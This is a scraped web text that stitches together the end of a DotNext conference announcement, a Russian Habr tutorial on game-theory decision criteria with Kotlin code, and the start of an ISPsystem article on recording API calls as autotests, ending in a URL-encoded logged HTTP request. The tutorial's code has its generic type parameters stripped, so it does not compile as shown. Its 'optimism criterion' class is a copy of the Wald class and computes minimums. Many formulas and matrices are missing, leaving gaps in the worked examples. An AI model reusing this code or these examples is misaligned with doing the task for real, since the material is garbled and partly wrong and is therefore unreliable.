> Напоследок небольшое объявление. Мы знаем Дилана благодаря тому, что он регулярно выступает на нашей .NET-конференции DotNext: его доклады каждый раз получают отличные отзывы, показывая, что он хорош не только в пародиях. И на ближайшем **[DotNext 2018 Moscow](https://dotnext-moscow.ru)** (22-23 ноября) он закроет конференцию докладом «Ctrl-Alt-Del: learning to love legacy code». А ещё он наверняка, как обычно, прихватит с собой гитару, чтобы на конференционной вечеринке исполнить свои пародии перед всеми желающими. В общем, если хотите обсудить с ним Rockstar, увидеть его в качестве докладчика или услышать его творчество вживую — вы знаете, [где это можно сделать](https://dotnext-moscow.ru/).
>
> | https://habr.com/ru/post/427877/ | null | ru | null |
# Теория игр: принятие решений с примерами на Kotlin
Теория игр — математическая дисциплина, рассматривающая моделирование действий игроков, которые имеют цель, заключающуюся в выбор оптимальных стратегий поведения в условиях конфликта. На Хабре эта тема уже [освещалась](https://habr.com/post/163681/), но сегодня мы поговорим о некоторых ее аспектах подробнее и рассмотрим примеры на Kotlin.
Так вот, стратегия – это совокупность правил, определяющих выбор варианта действий при каждом личном ходе в зависимости от сложившейся ситуации. Оптимальная стратегия игрока – стратегия, обеспечивающая наилучшее положение в данной игре, т.е. максимальный выигрыш. Если игра повторяется неоднократно и содержит, кроме личных, случайные ходы, то оптимальная стратегия обеспечивает максимальный средний выигрыш.
Задача теории игр – выявление оптимальных стратегий игроков. Основное предположение, исходя из которого находятся оптимальные стратегии, заключается в том, что противник (или противники) не менее разумен, чем сам игрок, и делает все для того, чтобы добиться своей цели. Расчет на разумного противника – лишь одна из потенциальных позиций в конфликте, но в теории игр именно она кладется в основу.
Существуют игры с природой в которых есть только один участник, максимизирующий свою прибыль. Игры с природой – математические модели, в которых выбор решения зависит об объективной действительности. Например, покупательский спрос, состояние природы и т.д. «Природа» – это обобщенное понятие не преследующего собственных целей противника. В таком случае для выбора оптимальной стратегии используется несколько критериев.
Различают два вида задач в играх с природой:
1. задача о принятии решений в условиях риска, когда известны вероятности, с которыми природа принимает каждое из возможных состояний;
2. задачи о принятии решений в условиях неопределенности, когда нет возможности получить информацию о вероятностях появления состояний природы.
Кратко об этих критериях рассказано [здесь](https://habr.com/post/179811/).
Сейчас мы рассмотрим критерии принятия решений в чистых стратегиях, а в конце статьи решим игру в смешанных стратегиях аналитическим методом.
**Оговорочка**Я не являюсь специалистом в теории игр, а в этой работе использовал Kotlin в первый раз. Однако решил поделиться своими результатами. Если вы заметили ошибки в статье или хотите дать совет, прошу в личку.
#### Постановка задачи
Все критерии принятия решений мы разберем на сквозном примере. Задача такова: фермеру необходимо определить, в каких пропорциях засеять свое поле тремя культурами, если урожайность этих культур, а, значит, и прибыль, зависят от того, каким будет лето: прохладным и дождливым, нормальным, или жарким и сухим. Фермер подсчитал чистую прибыль с 1 гектара от разных культур в зависимости от погоды. Игра определяется следующей матрицей:
Далее эту матрицу будем представлять в виде стратегий:
Искомую оптимальную стратегию обозначим . Решать игру будем с помощью критериев Вальда, оптимизма, пессимизма, Сэвиджа и Гурвица в условиях неопределенности и критериев Байеса и Лапласа в условиях риска.
Как и говорилось выше примеры будут на Kotlin. Замечу, что вообще-то существуют такие решения как Gambit (написан на С), Axelrod и PyNFG (написанные на Python), но мы будем ехать на своем собственном велосипеде, собранном на коленке, просто ради того, чтобы немного потыкать стильный, модный и молодежный язык программирования.
Чтобы программно реализовать решение игры заведем несколько классов. Сначала нам понадобится класс, позволяющий описать строку или столбец игровой матрицы. Класс крайне простой и содержит список возможных значений (альтернатив или состояний природы) и соответствующего им имени. Поле `key` будем использовать для идентификации, а также при сравнении, а сравнение понадобится при реализации доминирования.
**Строка или столбец игровой матрицы**
```
import java.text.DecimalFormat
import java.text.NumberFormat
open class GameVector(name: String, values: List, key: Int = -1) : Comparable {
val name: String
val values: List
val key: Int
private val formatter:NumberFormat = DecimalFormat("#0.00")
init {
this.name = name;
this.values = values;
this.key = key;
}
public fun max(): Double? {
return values.max();
}
public fun min(): Double? {
return values.min();
}
override fun toString(): String{
return name + ": " + values
.map { v -> formatter.format(v) }
.reduce( {f1: String, f2: String -> "$f1 $f2"})
}
override fun compareTo(other: GameVector): Int {
var compare = 0
if (this.key == other.key){
return compare
}
var great = true
for (i in 0..this.values.lastIndex){
great = great && this.values[i] >= other.values[i]
}
if (great){
compare = 1
}else{
var less = true
for (i in 0..this.values.lastIndex){
less = less && this.values[i] <= other.values[i]
}
if (less){
compare = -1
}
}
return compare
}
}
```
Игровая матрица содержит информацию об альтернативах и состояниях природы. Кроме того в ней реализованы некоторые методы, например нахождение доминирующего множества и чистой цены игры.
**Игровая матрица**
```
open class GameMatrix(matrix: List>, alternativeNames: List, natureStateNames: List) {
val matrix: List>
val alternativeNames: List
val natureStateNames: List
val alternatives: List
val natureStates: List
init {
this.matrix = matrix;
this.alternativeNames = alternativeNames
this.natureStateNames = natureStateNames
var alts: MutableList = mutableListOf()
for (i in 0..matrix.lastIndex) {
val currAlternative = alternativeNames[i]
val gameVector = GameVector(currAlternative, matrix[i], i)
alts.add(gameVector)
}
alternatives = alts.toList()
var nss: MutableList = mutableListOf()
val lastIndex = matrix[0].lastIndex // нет провеврки на равенство длин всех строк, считаем что они равны
for (j in 0..lastIndex) {
val currState = natureStateNames[j]
var states: MutableList = mutableListOf()
for (i in 0..matrix.lastIndex) {
states.add(matrix[i][j])
}
val gameVector = GameVector(currState, states.toList(), j)
nss.add(gameVector)
}
natureStates = nss.toList()
}
open fun change (i : Int, j : Int, value : Double) : GameMatrix{
var mml = this.matrix.toMutableList()
var rowi = mml[i].toMutableList()
rowi.set(j, value)
mml.set(i, rowi)
return GameMatrix(mml.toList(), alternativeNames, natureStateNames)
}
open fun changeAlternativeName (i : Int, value : String) : GameMatrix{
var list = alternativeNames.toMutableList()
list.set(i, value)
return GameMatrix(matrix, list.toList(), natureStateNames)
}
open fun changeNatureStateName (j : Int, value : String) : GameMatrix{
var list = natureStateNames.toMutableList()
list.set(j, value)
return GameMatrix(matrix, alternativeNames, list.toList())
}
fun size() : Pair{
return Pair(alternatives.size, natureStates.size)
}
override fun toString(): String {
return "Состояния природы:\n" +
natureStateNames.reduce { n1: String, n2: String -> "$n1;\n$n2" } +
"\nМатрица игры:\n" +
alternatives
.map { a: GameVector -> a.toString() }
.reduce { a1: String, a2: String -> "$a1;\n$a2" }
}
protected fun dominateSet(gvl: List, list: MutableList, dvv: Int) : MutableSet{
var dSet: MutableSet = mutableSetOf()
for (gv in gvl){
for (gvv in gvl){
if (!dSet.contains(gv) && !dSet.contains(gvv)) {
if (gv.compareTo(gvv) == dvv) {
dSet.add(gv)
list.add("[$gvv] доминирует [$gv]")
}
}
}
}
return dSet
}
open fun newMatrix(dCol: MutableSet, dRow: MutableSet)
: GameMatrix{
var result: MutableList> = mutableListOf()
var ralternativeNames: MutableList = mutableListOf()
var rnatureStateNames: MutableList = mutableListOf()
val dIndex = dCol.map { c -> c.key }.toList()
for (i in 0 .. natureStateNames.lastIndex){
if (!dIndex.contains(i)){
rnatureStateNames.add(natureStateNames[i])
}
}
for (gv in this.alternatives){
if (!dRow.contains(gv)){
var nr: MutableList = mutableListOf()
for (i in 0 .. gv.values.lastIndex){
if (!dIndex.contains(i)){
nr.add(gv.values[i])
}
}
result.add(nr)
ralternativeNames.add(gv.name)
}
}
val rlist = result.map { r -> r.toList() }.toList()
return GameMatrix(rlist, ralternativeNames.toList(), rnatureStateNames.toList())
}
fun dominateMatrix(): Pair>{
var list: MutableList = mutableListOf()
var dCol: MutableSet = dominateSet(this.natureStates, list, 1)
var dRow: MutableSet = dominateSet(this.alternatives, list, -1)
val newMatrix = newMatrix(dCol, dRow)
var ddgm = Pair(newMatrix, list.toList())
val ret = iterate(ddgm, list)
return ret;
}
protected fun iterate(ddgm: Pair>, list: MutableList)
: Pair>{
var dgm = this
var lddgm = ddgm
while (dgm.size() != lddgm.first.size()){
dgm = lddgm.first
list.addAll(lddgm.second)
lddgm = dgm.dominateMatrix()
}
return Pair(dgm,list.toList().distinct())
}
fun minClearPrice(): Double{
val map: List = this.alternatives.map { a -> a?.min() ?: 0.0 }
return map?.max() ?: 0.0
}
fun maxClearPrice(): Double{
val map: List = this.natureStates.map { a -> a?.max() ?: 0.0 }
return map?.min() ?: 0.0
}
fun existsClearStrategy() : Boolean{
return minClearPrice() >= maxClearPrice()
}
}
```
Опишем интерфейс, соответствующий критерию
**Критерий**
```
interface ICriteria {
fun optimum(): List
}
```
### Принятие решений в условиях неопределенности
Принятие решений в условиях неопределённости предполагает, что игроку не противостоит разумный противник.
#### Критерий Вальда
В критерии Вальда максимизируется наихудший из возможных результатов:
![$u_{opt} = max_{i} min_{j} [U]$](https://habrastorage.org/getpro/habr/formulas/056/9ec/d68/0569ecd68e96fba4cbe838a90553041c.svg)
Использование критерия страхует от наихудшего результата, но цена такой стратегии – потеря возможности получить наилучший из возможных результатов.
Рассмотрим пример. Для стратегий  найдем минимумы и получим следующую тройку . Максимумом для указанной тройки будет являться значение 1, следовательно, по критерию Вальда выигрышной стратегией является стратегия , соответствующая посадке Культуры 2.
Программная реализация критерия Вальда незатейлива:
```
class WaldCriteria(gameMatrix : GameMatrix) : ICriteria {
val gameMatrix: GameMatrix
init{
this.gameMatrix = gameMatrix
}
override fun optimum(): List {
val mins = gameMatrix.alternatives.map { a -> Pair(a, a.min()) }
val max = mins.maxWith( Comparator { o1, o2 -> o1.second!!.compareTo(o2.second!!)})
return mins
.filter { m -> m.second == max!!.second }
.map { m -> m.first }
}
}
```
Для большей понятности в первый раз покажу, как решение выглядело бы в виде теста:
**Тест**
```
private fun matrix(): GameMatrix {
val alternativeNames: List = listOf("Культура 1", "Культура 2", "Культура 3")
val natureStateNames: List = listOf("Прохладное и дождливое", "Нормальное", "Жаркое и сухое")
val matrix: List> = listOf(
listOf(0.0, 2.0, 5.0),
listOf(2.0, 3.0, 1.0),
listOf(4.0, 3.0, -1.0)
)
val gm = GameMatrix(matrix, alternativeNames, natureStateNames)
return gm;
}
}
private fun testCriteria(gameMatrix: GameMatrix, criteria: ICriteria, name: String){
println(gameMatrix.toString())
val optimum = criteria.optimum()
println("$name. Оптимальная стратегия: ")
optimum.forEach { o -> println(o.toString()) }
}
@Test
fun testWaldCriteria() {
val matrix = matrix();
val criteria = WaldCriteria(matrix)
testCriteria(matrix, criteria, "Критерий Вальда")
}
```
Нетрудно догадаться, что для других критериев отличие будет только в создании объекта `criteria`.
#### Критерий оптимизма
При использовании критерия оптимиста игрок выбирает решение, дающее лучший результат, при этом оптимист предполагает, что условия игры будут для него наиболее благоприятными:
![$u_{opt} = max_{i} max_{j} [U]$](https://habrastorage.org/getpro/habr/formulas/72e/03d/eb9/72e03deb976f27ccec1a6154b384a99a.svg)
Стратегия оптимиста может привести к отрицательным последствиям, когда максимальное предложение совпадает с минимальным спросом – фирма может получить убытки при списании нереализованной продукции. В тоже время стратегия оптимиста имеет определённый смысл, например, не нужно заботиться о неудовлетворённых покупателях, поскольку любой возможный спрос всегда удовлетворяется, поэтому нет нужды поддерживать расположения покупателей. Если реализуется максимальный спрос, то стратегия оптимиста позволяет получить максимальную полезность в то время, как другие стратегии приведут к недополученной прибыли. Это даёт определённые конкурентные преимущества.
Рассмотрим пример. Для стратегий  найдем найдем максимум и получим следующую тройку . Максимумом для указанной тройки будет являться значение 5, следовательно, по критерию оптимизма выигрышной стратегией является стратегия , соответствующая посадке Культуры 1.
Реализация критерия оптимизма почти не отличается от критерия Вальда:
```
class WaldCriteria(gameMatrix : GameMatrix) : ICriteria {
val gameMatrix: GameMatrix
init{
this.gameMatrix = gameMatrix
}
override fun optimum(): List {
val mins = gameMatrix.alternatives.map { a -> Pair(a, a.min()) }
val max = mins.maxWith( Comparator { o1, o2 -> o1.second!!.compareTo(o2.second!!)})
return mins
.filter { m -> m.second == max!!.second }
.map { m -> m.first }
}
}
```
#### Критерий пессимизма
Данный критерий предназначен для выбора наименьшего элемента игровой матрицы из ее минимально возможных элементов:
![$u_{opt} = min_{i} min_{j} [U]$](https://habrastorage.org/getpro/habr/formulas/4e0/12f/384/4e012f3848e121cdb3a87c181afccbb5.svg)
Критерий пессимизма предполагает, что развитие событий будет неблагоприятным для лица, принимающего решение. При использовании этого критерия лицо принимающее решение ориентируется на возможную потерю контроля над ситуацией, поэтому, старается исключить потенциальные риски выбирая вариант с минимальной доходностью.
Рассмотрим пример. Для стратегий  найдем найдем минимум и получим следующую тройку . Минимумом для указанной тройки будет являться значение -1, следовательно, по критерию пессимизма выигрышной стратегией является стратегия , соответствующая посадке Культуры 3.
После знакомства с критериями Вальда и оптимизма то, как будет выглядеть класс критерия пессимизма, думаю, легко догадаться:
```
class PessimismCriteria(gameMatrix : GameMatrix) : ICriteria {
val gameMatrix: GameMatrix
init{
this.gameMatrix = gameMatrix
}
override fun optimum(): List {
val mins = gameMatrix.alternatives.map { a -> Pair(a, a.min()) }
val min = mins.minWith( Comparator { o1, o2 -> o1.second!!.compareTo(o2.second!!)})
return mins
.filter { m -> m.second == min!!.second }
.map { m -> m.first }
}
}
```
#### Критерий Сэвиджа
Критерий Сэвиджа (критерий сожалеющего пессимиста) предполагает минимизацию наибольшей потерянной прибыли, иными словами минимизируется наибольшее сожаление по потерянной прибыли:
![$u_{opt} = min_{i} max_{j}[S]\\ s_{i,j} = (max \begin{bmatrix} u_{1,j} \\ u_{2,j}\\ ...\\u_{n,j} \end{bmatrix} - u_{i,j})$](https://habrastorage.org/getpro/habr/formulas/0da/e8b/7ad/0dae8b7adbc50d7690888f3ace1aaf24.svg)
В данном случае S — это матрица сожалений.
Оптимальное решение по критерию Сэвиджа должно давать наименьшее сожаление из найденных на предыдущем шаге решения сожалений. Решение, соответствующее найденной полезности, будет оптимальным.
К особенностям полученного решения относятся гарантированное отсутствие самых больших разочарований и гарантированное снижение максимальных возможных выигрышей других игроков.
Рассмотрим пример. Для стратегий  составим матрицу сожалений:
Тройка максимальных сожалений . Минимальным значением из указанных рисков будет являться значение 4, которое соответствует стратегиям  и .
Запрограммировать критерий Сэвиджа немного сложнее:
```
class SavageCriteria(gameMatrix: GameMatrix) : ICriteria {
val gameMatrix: GameMatrix
init {
this.gameMatrix = gameMatrix
}
fun GameMatrix.risk(): List> {
val maxStates = this.natureStates.map { n -> Pair(n, n.values.max()) }
.map { n -> n.first.key to n.second }.toMap()
var am: MutableList>> = mutableListOf()
for (a in this.alternatives) {
var v: MutableList = mutableListOf()
for (i in 0..a.values.lastIndex) {
val mn = maxStates.get(i)
v.add(mn!! - a.values[i])
}
am.add(Pair(a, v.toList()))
}
return am.map { m -> Pair(m.first, m.second.max()) }
}
override fun optimum(): List {
val risk = gameMatrix.risk()
val minRisk = risk.minWith(Comparator { o1, o2 -> o1.second!!.compareTo(o2.second!!) })
return risk
.filter { r -> r.second == minRisk!!.second }
.map { m -> m.first }
}
}
```
#### Критерий Гурвица
Критерий Гурвица является регулируемым компромиссом между крайним пессимизмом и полным оптимизмом:
A(0) — стратегия крайнего пессимиста, A(k) — стратегия полного оптимиста,  — задаваемое значение весового коэффициента: ;  — крайний пессимизм,  — полный оптимизм.
При небольшом числе дискретных стратегий, задавая желаемое значение весового коэффициента , а затем округлять получаемый результат до ближайшего возможного значения с учётом выполненной дискретизации.
Рассмотрим пример. Для стратегий . Примем, что коэффициент оптимизма . Теперь составим таблицу:
Максимальным значением из рассчитанных H будет являться значение 3, которое соответствует стратегии .
Реализация критерия Гурвица уже более объемная:
```
class HurwitzCriteria(gameMatrix: GameMatrix, optimisticKoef: Double) : ICriteria {
val gameMatrix: GameMatrix
val optimisticKoef: Double
init {
this.gameMatrix = gameMatrix
this.optimisticKoef = optimisticKoef
}
inner class HurwitzParam(xmax: Double, xmin: Double, optXmax: Double){
val xmax: Double
val xmin: Double
val optXmax: Double
val value: Double
init{
this.xmax = xmax
this.xmin = xmin
this.optXmax = optXmax
value = xmax * optXmax + xmin * (1 - optXmax)
}
}
fun GameMatrix.getHurwitzParams(): List> {
return this.alternatives.map { a -> Pair(a, HurwitzParam(a.max()!!, a.min()!!, optimisticKoef)) }
}
override fun optimum(): List {
val hpar = gameMatrix.getHurwitzParams()
val maxHurw = hpar.maxWith(Comparator { o1, o2 -> o1.second.value.compareTo(o2.second.value) })
return hpar
.filter { r -> r.second == maxHurw!!.second }
.map { m -> m.first }
}
}
```
### Принятие решений в условиях риска
Методы принятия решений могут полагаться на критерии принятия решений в условиях риска при соблюдении следующих условий:
* отсутствия достоверной информации о возможных последствиях;
* наличия вероятностных распределений;
* знания вероятности наступления исходов или последствий для каждого решения.
Если решение принимается в условиях риска, то стоимости альтернативных решений описываются вероятностными распределениями. В связи с этим принимаемое решение основывается на использовании критерия ожидаемого значения, в соответствии с которым альтернативные решения сравниваются с точки зрения максимизации ожидаемой прибыли или минимизации ожидаемых затрат.
Критерий ожидаемого значения может быть сведен либо к максимизации ожидаемой (средней) прибыли, либо к минимизации ожидаемых затрат. В данном случае предполагается, что связанная с каждым альтернативным решением прибыль (затраты) является случайной величиной.
Постановка таких задач как правило такова: человек выбирает какие-либо действия в ситуации, где на результат действия влияют случайные события. Но игрок имеет некоторые знания о вероятностях этих событий и может рассчитать наиболее выгодную совокупность и очередность своих действий.
Чтобы можно было и дальше приводить примеры, дополним игровую матрицу вероятностями:
Для того, чтобы учесть вероятности придется немного переделать класс, описывающий игровую матрицу. Получилось, по правде говоря, не очень-то изящно, ну да ладно.
**Игровая матрица с вероятностями**
```
open class ProbabilityGameMatrix(matrix: List>, alternativeNames: List,
natureStateNames: List, probabilities: List) :
GameMatrix(matrix, alternativeNames, natureStateNames) {
val probabilities: List
init {
this.probabilities = probabilities;
}
override fun change (i : Int, j : Int, value : Double) : GameMatrix{
val cm = super.change(i, j, value)
return ProbabilityGameMatrix(cm.matrix, cm.alternativeNames, cm.natureStateNames, probabilities)
}
override fun changeAlternativeName (i : Int, value : String) : GameMatrix{
val cm = super.changeAlternativeName(i, value)
return ProbabilityGameMatrix(cm.matrix, cm.alternativeNames, cm.natureStateNames, probabilities)
}
override fun changeNatureStateName (j : Int, value : String) : GameMatrix{
val cm = super.changeNatureStateName(j, value)
return ProbabilityGameMatrix(cm.matrix, cm.alternativeNames, cm.natureStateNames, probabilities)
}
fun changeProbability (j : Int, value : Double) : GameMatrix{
var list = probabilities.toMutableList()
list.set(j, value)
return ProbabilityGameMatrix(matrix, alternativeNames, natureStateNames, list.toList())
}
override fun toString(): String {
var s = ""
val formatter: NumberFormat = DecimalFormat("#0.00")
for (i in 0 .. natureStateNames.lastIndex){
s += natureStateNames[i] + " = " + formatter.format(probabilities[i]) + "\n"
}
return "Состояния природы:\n" +
s +
"Матрица игры:\n" +
alternatives
.map { a: GameVector -> a.toString() }
.reduce { a1: String, a2: String -> "$a1;\n$a2" }
}
override fun newMatrix(dCol: MutableSet, dRow: MutableSet)
: GameMatrix{
var result: MutableList> = mutableListOf()
var ralternativeNames: MutableList = mutableListOf()
var rnatureStateNames: MutableList = mutableListOf()
var rprobailities: MutableList = mutableListOf()
val dIndex = dCol.map { c -> c.key }.toList()
for (i in 0 .. natureStateNames.lastIndex){
if (!dIndex.contains(i)){
rnatureStateNames.add(natureStateNames[i])
}
}
for (i in 0 .. probabilities.lastIndex){
if (!dIndex.contains(i)){
rprobailities.add(probabilities[i])
}
}
for (gv in this.alternatives){
if (!dRow.contains(gv)){
var nr: MutableList = mutableListOf()
for (i in 0 .. gv.values.lastIndex){
if (!dIndex.contains(i)){
nr.add(gv.values[i])
}
}
result.add(nr)
ralternativeNames.add(gv.name)
}
}
val rlist = result.map { r -> r.toList() }.toList()
return ProbabilityGameMatrix(rlist, ralternativeNames.toList(), rnatureStateNames.toList(),
rprobailities.toList())
}
}
}
```
#### Критерий Байеса
Критерий Байеса (критерий математического ожидания) используется в задачах принятия решения в условиях риска в качестве оценки стратегии  выступает математическое ожидание соответствующей ей случайной величины. В соответствии с этим правилом оптимальная стратегия игрока  находится из условия:
Иными словами, показателем неэффективности стратегии  по критерию Байеса относительно рисков является среднее значение (математическое ожидание ожидание) рисков i-й строки матрицы , вероятности которых, совпадают с вероятностями природы. Тогда оптимальной среди чистых стратегий по критерию Байеса относительно рисков является стратегия , обладающая минимальной неэффективностью то есть минимальным средним риском. Критерий Байеса эквивалентен относительно выигрышей и относительно рисков, т.е. если стратегия  является оптимальной по критерию Байеса относительно выигрышей, то она является оптимальной и по критерию Байеса относительно рисков, и наоборот.
Перейдем к примеру и рассчитаем математические ожидания:
Максимальным математическим ожиданием является , следовательно, выигрышной стратегией является стратегия .
Программная реализация критерия Байеса:
```
class BayesCriteria(gameMatrix: ProbabilityGameMatrix) : ICriteria {
val gameMatrix: ProbabilityGameMatrix
init {
this.gameMatrix = gameMatrix
}
fun ProbabilityGameMatrix.bayesProbability(): List> {
var am: MutableList> = mutableListOf()
for (a in this.alternatives) {
var alprob: Double = 0.0
for (i in 0..a.values.lastIndex) {
alprob += a.values[i] \* this.probabilities[i]
}
am.add(Pair(a, alprob))
}
return am.toList();
}
override fun optimum(): List {
val risk = gameMatrix.bayesProbability()
val maxBayes = risk.maxWith(Comparator { o1, o2 -> o1.second!!.compareTo(o2.second!!) })
return risk
.filter { r -> r.second == maxBayes!!.second }
.map { m -> m.first }
}
}
```
#### Критерий Лапласа
Критерий Лапласа представляет упрощенную максимизацию математического ожидания полезности, когда справедливо предположение о равной вероятности уровней спроса, что избавляет от необходимости сбора реальной статистики.
В общем случае при использовании критерия Лапласа матрица ожидаемых полезностей и оптимальный критерий определяются следующим образом:
![$u_{opt} = max[\overline{U}]\\ \overline{U}= \begin{bmatrix} \overline{u}_{1} \\ \overline{u}_{2}\\ ...\\ \overline{u}_{n} \end{bmatrix}, \overline{u}_{i} = \frac{1}{n}\sum_{j=1}^nu_{i,j}$](https://habrastorage.org/getpro/habr/formulas/44c/d12/4f4/44cd124f40214082b663947b8713c311.svg)
Рассмотрим пример принятия решений по критерию Лапласа. Рассчитаем среднеарифметическое для каждой стратегии:
Таким образом, выигрышной стратегией является стратегия .
Программная реализация критерия Лапласа:
```
class LaplaceCriteria(gameMatrix: GameMatrix) : ICriteria {
val gameMatrix: GameMatrix
init {
this.gameMatrix = gameMatrix
}
fun GameMatrix.arithemicMean(): List> {
return this.alternatives.map { m -> Pair(m, m.values.average()) }
}
override fun optimum(): List {
val risk = gameMatrix.arithemicMean()
val maxBayes = risk.maxWith(Comparator { o1, o2 -> o1.second.compareTo(o2.second) })
return risk
.filter { r -> r.second == maxBayes!!.second }
.map { m -> m.first }
}
}
```
#### Смешанные стратегии. Аналитический метод
Аналитический метод позволяет решить игру в смешанных стратегиях. Для того, чтобы сформулировать алгоритм нахождения решения игры аналитическим методом, рассмотрим некоторые дополнительные понятия.
Стратегия  доминирует стратегию , если все . Иными словами, если в некоторой строке платёжной матрицы все элементы больше или равны соответствующим элементам другой строки, то первая строка доминирует вторую и называется доминант-строкой. А также если в некотором столбце платёжной матрицы все элементы меньше или равны соответствующим элементам другого столбца, то первый столбец доминирует второй и называется доминант-столбцом.
Нижней ценой игры называется .
Верхней ценой игры называется .
Теперь можно сформулировать алгоритм решения игры аналитическим методом:
1. Вычислить нижнюю  и верхнюю  цены игры. Если , то записать ответ в чистых стратегиях, если нет — продолжаем решение дальше
2. Удалить доминирующие строки доминирующие столбцы. Их может быть несколько. На их место в оптимальной стратегии соответствующие компоненты будут равны 0
3. Решить матричную игру [методом линейного программирования.](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
Для того, чтобы привести пример необходимо привести класс, описывающий решение
**Solve**
```
class Solve(gamePriceObr: Double, solutions: List, names: List) {
val gamePrice: Double
val gamePriceObr: Double
val solutions: List
val names: List
private val formatter: NumberFormat = DecimalFormat("#0.00")
init{
this.gamePrice = 1 / gamePriceObr
this.gamePriceObr = gamePriceObr;
this.solutions = solutions
this.names = names
}
override fun toString(): String{
var s = "Цена игры: " + formatter.format(gamePrice) + "\n"
for (i in 0..solutions.lastIndex){
s += "$i) " + names[i] + " = " + formatter.format(solutions[i] / gamePriceObr) + "\n"
}
return s
}
fun itersect(matrix: GameMatrix): String{
var s = "Цена игры: " + formatter.format(gamePrice) + "\n"
for (j in 0..matrix.alternativeNames.lastIndex) {
var f = false
val a = matrix.alternativeNames[j]
for (i in 0..solutions.lastIndex) {
if (a.equals(names[i])) {
s += "$j) " + names[i] + " = " + formatter.format(solutions[i] / gamePriceObr) + "\n"
f = true
break
}
}
if (!f){
s += "$j) " + a + " = 0\n"
}
}
return s
}
}
```
И класс, выполняющий решение симплекс-методом. Поскольку в математике я не разбираюсь, то воспользовался готовой реализацией из [Apache Commons Math](http://commons.apache.org/proper/commons-math/javadocs/api-3.3/org/apache/commons/math3/optim/linear/SimplexSolver.html)
**Solver**
```
open class Solver (gameMatrix: GameMatrix) {
val gameMatrix: GameMatrix
init{
this.gameMatrix = gameMatrix
}
fun solve(): Solve{
val goalf: List = gameMatrix.alternatives.map { a -> 1.0 }
val f = LinearObjectiveFunction(goalf.toDoubleArray(), 0.0)
val constraints = ArrayList()
for (alt in gameMatrix.alternatives){
constraints.add(LinearConstraint(alt.values.toDoubleArray(), Relationship.LEQ, 1.0))
}
val solution = SimplexSolver().optimize(f, LinearConstraintSet(constraints), GoalType.MAXIMIZE,
NonNegativeConstraint(true))
val sl: List = solution.getPoint().toList()
val solve = Solve(solution.getValue(), sl, gameMatrix.alternativeNames)
return solve
}
}
```
Теперь выполним решение аналитическим методом. Для наглядности возьмем другую игровую матрицу:
В этой матрице есть доминирующее множество:
\begin{pmatrix} 2& 4\\ 6& 2\end{pmatrix}
**Решение**
```
val alternativeNames: List = listOf("Культура 1", "Культура 2", "Культура 3")
val natureStateNames: List =
listOf("Прохладное и дождливое", "Нормальное", "Жаркое и сухое", "Ветреное")
val matrix: List> = listOf(
listOf(2.0, 4.0, 8.0, 5.0),
listOf(6.0, 2.0, 4.0, 6.0),
listOf(3.0, 2.0, 5.0, 4.0)
)
val gm = GameMatrix(matrix, alternativeNames, natureStateNames)
val (dgm, list) = gm.dominateMatrix()
println(dgm.toString())
println(list.reduce({s1, s2 -> s1 + "\n" + s2}))
println()
val s: Solver = Solver(dgm)
val solve = s.solve()
println(solve)
```
Решение игры  при цене игры равной 3,33
#### Вместо заключения
Надеюсь, эта статья будет полезна тем, кому необходимо в первом приближении с решением игр с природой. Вместо выводов ссылка на [GitHub](https://github.com/altmf/game_theory).
Буду благодарен за конструктивную обратную связь! | https://habr.com/ru/post/425609/ | null | ru | null |
# Магнитофон — инструмент для записи автотестов
Добрый день, уважаемые читатели. Меня зовут Виктор Буров. Я работаю разработчиком в компании ISPsystem и хочу поделиться опытом автоматизации тестирования.
Так сложилось, что у нас превалировало ручное тестирование, и тестировщики тратили кучу времени на выполнение одних и тех же действий. Однажды мы подумали: почему бы не научить панель повторять действия тестировщика, ведь, по сути, все они превращаются в конкретные вызовы API. Это бы позволило писать тесты людям даже без навыков программирования.
Мы решили написать модуль создания автоматических тестов. Чтобы тестировщик мог просто нажать кнопку создания теста, выполнить условия тест-кейса, по окончании нажать «завершить» — и всё, тест был готов! Простая идея, но реализовать ее оказалось непросто. Потому что мы хотели, чтобы этот модуль был максимально адаптирован под наши продукты и использовал преимущество унифицированного интерфейса: чтобы сделанная запись выглядела как готовый тест-кейс. Это бы полностью избавило от ручной работы по написанию тестов. Получившаяся в итоге система получила название «магнитофон».
*Интерфейс модуля просмотра условий тест-кейса*
Принцип работы
--------------
Все параметры запросов (HTTP-заголовки, переменные окружения, POST-данные, если такие есть) и весь ответ записывается в xml-файл. Каждой записи присваивается порядковый номер. Все запросы разделяются на модифицирующие и не модифицирующие. После записи теста многие из немодифицирующих запросов вырезаются, так как не влияют на выполнение тестов и только затягивают и запутывают процесс выполнения (отсюда пропущенные порядковые номера на скриншоте).
Во время записи магнитофон позволяет в один клик устанавливать проверки значений в полях на формах и в колонках списков. Также позволяет записывать негативные тесты, запоминая, какую ошибку вернула панель во время записи теста.
При воспроизведении запросы отправляются напрямую в API приложения, не используя браузер.
По сути магнитофон — это модуль, который встраивается во все наши продукты и позволяет устанавливать реагирующие на события обработчики. Написан при помощи COREmanager.
Пример записи одного вызова, сделанного магнитофоном:
**Запись**
```
210
application%2Fx%2Dwww%2Dform%2Durlencoded%3B%20charset%3DUTF%2D8
on
text%2Fhtml%2C%20%2A%2F%2A%3B%20q%3D0%2E01
en%2DUS%2Cen%3Bq%3D0%2E5
no%2Dcache
keep%2Dalive
corelang5%3Dorion%3Aru%3B%20ispmgrlang5%3Dorion%3Aru%3B%20ipmgrlang5%3Dorion%3Aru%3B%20ipmgrses5%3Dbdd69179d627%3B%20ispmgrses5%3D14157f7bbc5e%3B%20menupane%3D30%5Faccount%2D1%253A30%5Fdomains%2D1%253A30%5Fwebserver%2D1%253A30%5Fantispam%2D1%253A30%5Fmaintain%2D1%253A30%5Ftool%2D1%253A30%5Fstat%2D1%253A30%5Fsrvset%2D1%253A30%5Fsysstat%2D1%253A30%5Fintegration%2D1%253A30%5Fset%2D1%253A30%5Fmgrhelp%2D1
172%2E31%2E240%2E175%3A1500
Web%2Dinterface
no%2Dcache
https%3A%2F%2F172%2E31%2E240%2E175%3A1500%2Fispmgr
Mozilla%2F5%2E0%20%28X11%3B%20Ubuntu%3B%20Linux%20x86%5F64%3B%20rv%3A24%2E0%29%20Gecko%2F20100101%20Firefox%2F24%2E0
XMLHttpRequest
38640
POST
%2Fispmgr
%2Fispmgr
172%2E31%2E240%2E175
